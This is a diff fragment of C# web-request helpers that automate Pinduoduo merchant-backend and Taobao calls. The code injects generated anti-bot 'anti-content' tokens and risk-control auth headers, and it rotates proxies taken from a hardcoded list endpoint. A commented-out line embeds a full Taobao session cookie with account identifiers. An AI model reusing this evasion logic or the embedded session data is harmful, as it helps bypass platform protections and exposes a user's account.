userAgent = BaseClass.PddShopChromeUserAgent; + } + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("dnt", "1"); + //发货|订单详情 + //获取订单 + //赠送免拼卡 |拼多多商家工作平台订单列表 + //修改收货地址 + //查看号码 + //售后 |拼团列表 + //查询备注 + //合并发货 + //下架 + //违规订单 + //if (url.Contains("robot/shop/orders/shipping") || url.Contains("mars/shop/orderDetail") || url.Contains("latitude/order/orderAddress") + // || url.Contains("mars/shop/recentOrderList") || url.Contains("mars/shop/orderList") + // || url.Contains("mars/shop/sendSingleGroupCard") || url.Contains("mars/shop/orderAddressDetail") + // || url.Contains("shop/address/update") || url.Contains("order/address/update") || url.Contains("pizza/order/updateAddress") + // || url.Contains("mars/mobile/queryMobileByOrderSn") + // || url.Contains("mercury/afterSales/list") || url.Contains("mars/shop/queryMallWaitGroupOrders") + // || url.Contains("pizza/order/remark/query") + // || url.Contains("mms/order/merge/ship") + // || url.Contains("vodka/v2/mms/pc/offSale") + // || url.Contains("newjersy/api/innerMessage/queryMsgListForMerchant") + // || url.Contains("fopen/order/prepare") + // || url.Contains("pifa/order/pageQuery") + // || url.Contains("genji/gosling/mallViolationAppeal/query/queryAppealRecord")) + if (url.Contains("mms.pinduoduo.com/")) + { + //string AntiContent = GetHtml.Utf8("http://nano.qixiaoke.com/123.txt"); + //wb.Headers.Add("anti-content", AntiContent); + if (tokenForm != null) + { + string token = ""; + if (url.Contains("mms.pinduoduo.com/") && cookies.Contains("windows")) + { + token = GetCodex(cookies, refere); + } + else + { + token = tokenForm.GetGoken(); + } + if (!string.IsNullOrEmpty(token)) + { + wb.Headers.Add("anti-content", token); + } + else + { + wb.Headers.Add("anti-content", BaseClass.AntiContent); + } + + } + else + { + wb.Headers.Add("anti-content", BaseClass.AntiContent); + } + if (url.Contains("mercury/afterSales/list")) + { + wb.Headers.Add("VerifyAuthToken", BaseClass.verify_auth_token); + } + } + + if (url.Contains("proxy/api/api/oak/integration/") && !string.IsNullOrEmpty(BaseClass.verify_auth_token)) + { + wb.Headers.Add("VerifyAuthToken", BaseClass.verify_auth_token); + } + + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken")) + { + wb.Headers.Add("accesstoken", BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^:]+?);")); + } + else + { + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + if (!string.IsNullOrEmpty(cookies) && url.Contains("api.pinduoduo.com")) + { + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + } + } + if (data.Contains("0aoanti_content")) + { + string token = AllBase.Helper.HttpHelper.GetAntiContent0ap(cookies, userAgent, refere); + data = data.Replace("0aoanti_content", token); + } + + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + if (url.Contains("buyertrade.taobao.com")) + wb.Headers.Add("origin", "https://buyertrade.taobao.com"); + wb.Headers.Add("User-Agent", BaseClass.ChromeUserAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + string rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + + html = encode.GetString(b); + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + if (url.Contains("api=mtop.user.getUserSimple") && head.Contains("_m_h5_tk=")) + html = wb.ResponseHeaders["Set-Cookie"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string GetCodex(string cookies, string refere) + { + //string userAgent = BaseClass.ChromeCookies; + //if (cookies.Contains("windows")) + string userAgent = BaseClass.PddShopChromeUserAgent; + var xxx = tokenForm.GetAntiContent0ao_v3(cookies, userAgent, refere); + string codex = xxx.Result; + return codex; + } + + #region 通过接口获取商品详情专用 + /// + /// POST数据 + /// + /// 网址 + /// 来源 + /// 编码是否为UTF-8 + /// 数据 + /// 是否强制为post提交 + /// + public static string UploadTaobaoPostx(string url, string refere, bool isUtf8, string data, bool isPost, string cookies) + { + try + { + + cookies = GetCookies(url, cookies); + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("dnt", "1"); + + if (url.Contains("proxy/api/api/oak/integration/") && !string.IsNullOrEmpty(BaseClass.verify_auth_token_prodetails)) + { + wb.Headers.Add("VerifyAuthToken", BaseClass.verify_auth_token_prodetails); + } + + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken")) + { + wb.Headers.Add("accesstoken", BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^:]+?);")); + } + else + { + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + if (!string.IsNullOrEmpty(cookies) && url.Contains("api.pinduoduo.com")) + { + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + } + } + + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + if (url.Contains("buyertrade.taobao.com")) + wb.Headers.Add("origin", "https://buyertrade.taobao.com"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + string rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + if (url.Contains("api=mtop.user.getUserSimple") && head.Contains("_m_h5_tk=")) + html = wb.ResponseHeaders["Set-Cookie"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + #endregion + + + public static string GetUrl(string url, string refere, bool isUtf8, string data) + { + try + { + string domain = GetHtml.GetDomain(url); + string mainDomain = GetHtml.GetMainDomain(domain); + string cookies = ""; + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + else if (BaseClass.CookiesAllString.ContainsKey(domain)) + cookies = BaseClass.CookiesAllString[domain]; + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + //wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = data == null ? new byte[0] : encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.Headers.ToString(); + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + /// + /// json提交数据 + /// + /// + /// + /// + /// + /// + public static string GetJsonPost(string url, string refere, bool isUtf8, string data) + { + string cookies = string.IsNullOrEmpty(BaseClass.ChromeCookies) ? IECookies.GetCookieByWebBrowser(url) : BaseClass.ChromeCookies; + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + + wb.Timeout = 30; + wb.AllowAutoRedirect = false; + //wb.Timeout = 70; + //wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + //wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return html; + } + + + #region 风控 + /// + /// json提交数据--风控解密专用 + /// + /// + /// + /// + /// + /// + public static string GetJsonPostx(string url, string refere, bool isUtf8, string data, string verifyAuthToken) + { + string cookies = string.IsNullOrEmpty(BaseClass.ChromeCookies) ? IECookies.GetCookieByWebBrowser(url) : BaseClass.ChromeCookies; + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + + wb.Timeout = 30; + wb.AllowAutoRedirect = false; + //wb.Timeout = 70; + //wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + if (!string.IsNullOrEmpty(verifyAuthToken)) + { + wb.Headers.Add("X-PDD-VerifyAuthToken", verifyAuthToken); + } + + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + //wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return html; + } + #endregion + + public static string GetJsonPost(string url, string refere, bool isUtf8, string data, string cookies) + { + return GetJsonPost(url, refere, isUtf8, data, cookies, ""); + } + + public static string GetJsonPostByProxy(string url, string refere, bool isUtf8, string data, string cookies) + { + string urlx = "http://47.112.221.243/API/spe_get/?token=early&u=1"; + string html = GetHtml.Utf8(urlx); + string proxy = ""; + if (!string.IsNullOrEmpty(html) && html.Contains(":")) + { + string[] l = html.Split('\n'); + proxy = l[Randomx.GetId(l.Length)].Trim(); + } + return GetJsonPost(url, refere, isUtf8, data, cookies, proxy); + } + + /// + /// json提交数据 + /// + /// + /// + /// + /// + /// + public static string GetJsonPost(string url, string refere, bool isUtf8, string data, string cookies, string proxy) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + if (url.Contains("mms.pinduoduo.com/") && cookies.Contains("windows")) + { + userAgent = BaseClass.PddShopChromeUserAgent; + } + WebClientx wb = new WebClientx(); + if (string.IsNullOrEmpty(cookies)) + cookies = GetCookies(url, cookies); + wb.Timeout = 70; + + wb.AllowAutoRedirect = false; + //wb.Timeout = 70; + //wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + //发货|订单详情 + //获取订单 + //赠送免拼卡 |拼多多商家工作平台订单列表 + //修改收货地址 + //查看号码 + //售后 |拼团列表 + //查询备注 + //合并发货 + //下架 + //违规订单 + //if (url.Contains("robot/shop/orders/shipping") || url.Contains("mars/shop/orderDetail") || url.Contains("latitude/order/orderAddress") + // || url.Contains("mars/shop/recentOrderList") || url.Contains("mars/shop/orderList") + // || url.Contains("mars/shop/sendSingleGroupCard") || url.Contains("mars/shop/orderAddressDetail") + // || url.Contains("shop/address/update") || url.Contains("order/address/update") || url.Contains("pizza/order/updateAddress") + // || url.Contains("mars/mobile/queryMobileByOrderSn") + // || url.Contains("mercury/afterSales/list") || url.Contains("mars/shop/queryMallWaitGroupOrders") + // || url.Contains("pizza/order/remark/query") + // || url.Contains("mms/order/merge/ship") + // || url.Contains("vodka/v2/mms/pc/offSale") + // || url.Contains("newjersy/api/innerMessage/queryMsgListForMerchant") + // || url.Contains("fopen/order/prepare") + // || url.Contains("pifa/order/pageQuery") + // || url.Contains("genji/gosling/mallViolationAppeal/query/queryAppealRecord")) + if (url.Contains("mms.pinduoduo.com/")) + { + //string AntiContent = GetHtml.Utf8("http://nano.qixiaoke.com/123.txt"); + //wb.Headers.Add("anti-content", AntiContent); + if (tokenForm != null) + { + string token = ""; + if (url.Contains("mms.pinduoduo.com/") && cookies.Contains("windows")) + { + token = GetCodex(cookies, refere); + } + else + { + token = tokenForm.GetGoken(); + } + if (!string.IsNullOrEmpty(token)) + { + wb.Headers.Add("anti-content", token); + } + else + { + wb.Headers.Add("anti-content", BaseClass.AntiContent); + } + + } + else + { + wb.Headers.Add("anti-content", BaseClass.AntiContent); + } + if (url.Contains("mercury/afterSales/list")) + { + wb.Headers.Add("VerifyAuthToken", BaseClass.verify_auth_token); + } + } + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + if (!string.IsNullOrEmpty(proxy)) + wb.Proxy = new WebProxy(proxy); + else + wb.Proxy = null; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+)"); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "https://mms.pinduoduo.com"); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + + wb.Headers.Add("Accept", "application/json"); + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + //wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + if (url.Contains("https://mms.pinduoduo.com/auth"))//拼多多登录专用 + { + string domainUrl = "https://mms.pinduoduo.com"; + string setCookies = wb.ResponseHeaders["Set-Cookie"]; + string k = "PASS_ID"; + string v = BaseRegex.GetMatchRegexString(setCookies, "PASS_ID=([^;]+?);"); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + var cookie = new CefSharp.Cookie + { + Name = k, + Value = v, + Expires = DateTime.Now.AddDays(10), + Path = "/", + HttpOnly = true + }; + Task task = cookieManager.SetCookieAsync(domainUrl, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + } + BaseClass.ChromeCookies += " PASS_ID=" + v + ";"; + } + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return html; + } + + public static string GetUrl(string url, string refere, bool isUtf8, string data, string sCookies = "") + { + try + { + string domain = GetHtml.GetDomain(url); + string mainDomain = GetHtml.GetMainDomain(domain); + string cookies = sCookies; + if (sCookies.Length == 0) + { + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + else if (BaseClass.CookiesAllString.ContainsKey(domain)) + cookies = BaseClass.CookiesAllString[domain]; + } + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + //wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = data == null ? new byte[0] : encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + #region 搜同款用 + /// + /// 发送post请求 + /// + /// + /// + /// + /// + /// + /// + public static string HttpPostData(string url, int timeOut, string fileKeyName, string fileName, byte[] file, NameValueCollection stringDict, string referer, string cookies = "") + { + string responseContent = string.Empty; + string cookie = BaseClass.CookiesAllString.ContainsKey("taobao.com") ? BaseClass.CookiesAllString["taobao.com"] : ""; + if (!string.IsNullOrEmpty(cookies)) + { + cookie = cookies; + } + var memStream = new MemoryStream(); + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----------QkZCM0JGQjYtQzkwRC1CRkU0LUFFQjctMUEyM0M5MkVDMTMz"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + //var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n"); + + // 设置属性 + webRequest.Method = "POST"; + webRequest.Timeout = timeOut; + webRequest.Proxy = null; + webRequest.ReadWriteTimeout = timeOut; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + if (string.IsNullOrEmpty(referer)) + referer = "https://tadget.taobao.com/redaction/manager.htm"; + webRequest.Referer = referer; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + //webRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; + webRequest.Headers.Add("Cookie", cookie); + webRequest.Headers.Add("Origin", "https://www.taobao.com"); + webRequest.Headers.Add("Upgrade-Insecure-Requests", "1"); + webRequest.Headers.Add("Cache-Control", "max-age=0"); + //webRequest.Headers.Add("Cookie", "v=0; cookie2=19bb7096a84354a4c14f57b3b139b358; _tb_token_=371a6e3e53673; existShop=MTQ5NTA4NzEwNQ%3D%3D; skt=07be2c7a4d43d4e3; publishItemObj=Ng%3D%3D; t=cdd5be62cd6b4e78434311371fbd7ff9; uc3=sg2=UtABdWdeGfXD%2FQkzzQhDSLQGa8sMw6MWHGmZA5%2Fz1oY%3D&nk2=G4mgLCefCRJZu5RKow%3D%3D&id2=W8nWsIU9pmPl&vt3=F8dARVDUXtcYdighsV4%3D&lg2=VFC%2FuZ9ayeYq2g%3D%3D; tracknick=xiaotui930904; _cc_=UIHiLt3xSw%3D%3D; tg=0; thw=cn; ali_ab=36.7.115.240.1486373819164.2; miid=805014732159802464; mt=np=&ci=1_1&cyk=2_0; hng=CN%7Czh-CN%7CCNY; cna=FBaXEKHXWGsCASQ5jXreM7Bn; l=Alpa9EIFIfaqKZPIW3nvwNBw6g58A95l; isg=AoGB_EtuvM235dDxcXm4k6uxmM2obfWgjhNWjuPW9AjnyqCcK_uCcC2I-ody; lgc=xiaotui930904; uss=BxExuOuBMGTSmmLusncTQzrc54qNGyvc44m3KpvMw%2FDqvz12lH2jkCfx; _m_user_unitinfo_=unit|unsz; _m_h5_tk=0e98a920393ab7ef74949cb428e8cbf8_1495072723582; _m_h5_tk_enc=c01cbddf709302868d28a398ddc7a464; _m_unitapi_v_=1492572565585; uc1=cookie14=UoW%2BvfobS%2FYyFQ%3D%3D&lng=zh_CN&cookie16=UtASsssmPlP%2Ff1IHDsDaPRu%2BPw%3D%3D&existShop=true&cookie21=UIHiLt3xSixwH1aenGUFEQ%3D%3D&tag=8&cookie15=WqG3DMC9VAQiUQ%3D%3D&pas=0; sg=482; cookie1=AVZ7NzilkILAckSZh3aH1rY3cLn%2F1CTS%2FTys%2FR09hPk%3D; unb=802158228; _l_g_=Ug%3D%3D; _nk_=xiaotui930904; cookie17=W8nWsIU9pmPl; JSESSIONID=3667ED995D0FA3DF2C4B9D2848FBECFB; apushcff39d705ee654f2389a8c5fb80067dd=%7B%22ts%22%3A1495087171963%2C%22parentId%22%3A1495087120835%7D"); + //webRequest.Headers.Add("X-Requested-With", "ShockwaveFlash/23.9.9.999"); + //webRequest.Headers.Add("x-flash-version", "25,0,0,148"); + string head = webRequest.Headers.ToString(); + // 写入文件 + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: application/octet-stream\r\n\r\n"; + if (url.Contains("s.taobao.com/image")) + { + filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + } + var header = string.Format(filePartHeader, fileKeyName, fileName); + var headerbytes = Encoding.UTF8.GetBytes(header); + + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + + //while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0) + //{ + // memStream.Write(buffer, 0, bytesRead); + //} + memStream.Write(file, 0, file.Length); + + // 写入字符串的Key + var stringKeyHeader = "\r\n--" + boundary + + "\r\nContent-Disposition: form-data; name=\"{0}\"" + + "\r\n\r\n{1}\r\n"; + + foreach (byte[] formitembytes in from string key in stringDict.Keys + select string.Format(stringKeyHeader, key, stringDict[key]) + into formitem + select Encoding.UTF8.GetBytes(formitem)) + { + memStream.Write(formitembytes, 0, formitembytes.Length); + } + + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + + webRequest.ContentLength = memStream.Length; + + try + { + var requestStream = webRequest.GetRequestStream(); + memStream.Position = 0; + var tempBuffer = new byte[memStream.Length]; + memStream.Read(tempBuffer, 0, tempBuffer.Length); + memStream.Close(); + + requestStream.Write(tempBuffer, 0, tempBuffer.Length); + requestStream.Close(); + } + catch (Exception ex) + { + } + + + try + { + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + + using (var httpStreamReader = new StreamReader(httpWebResponse.GetResponseStream(), + 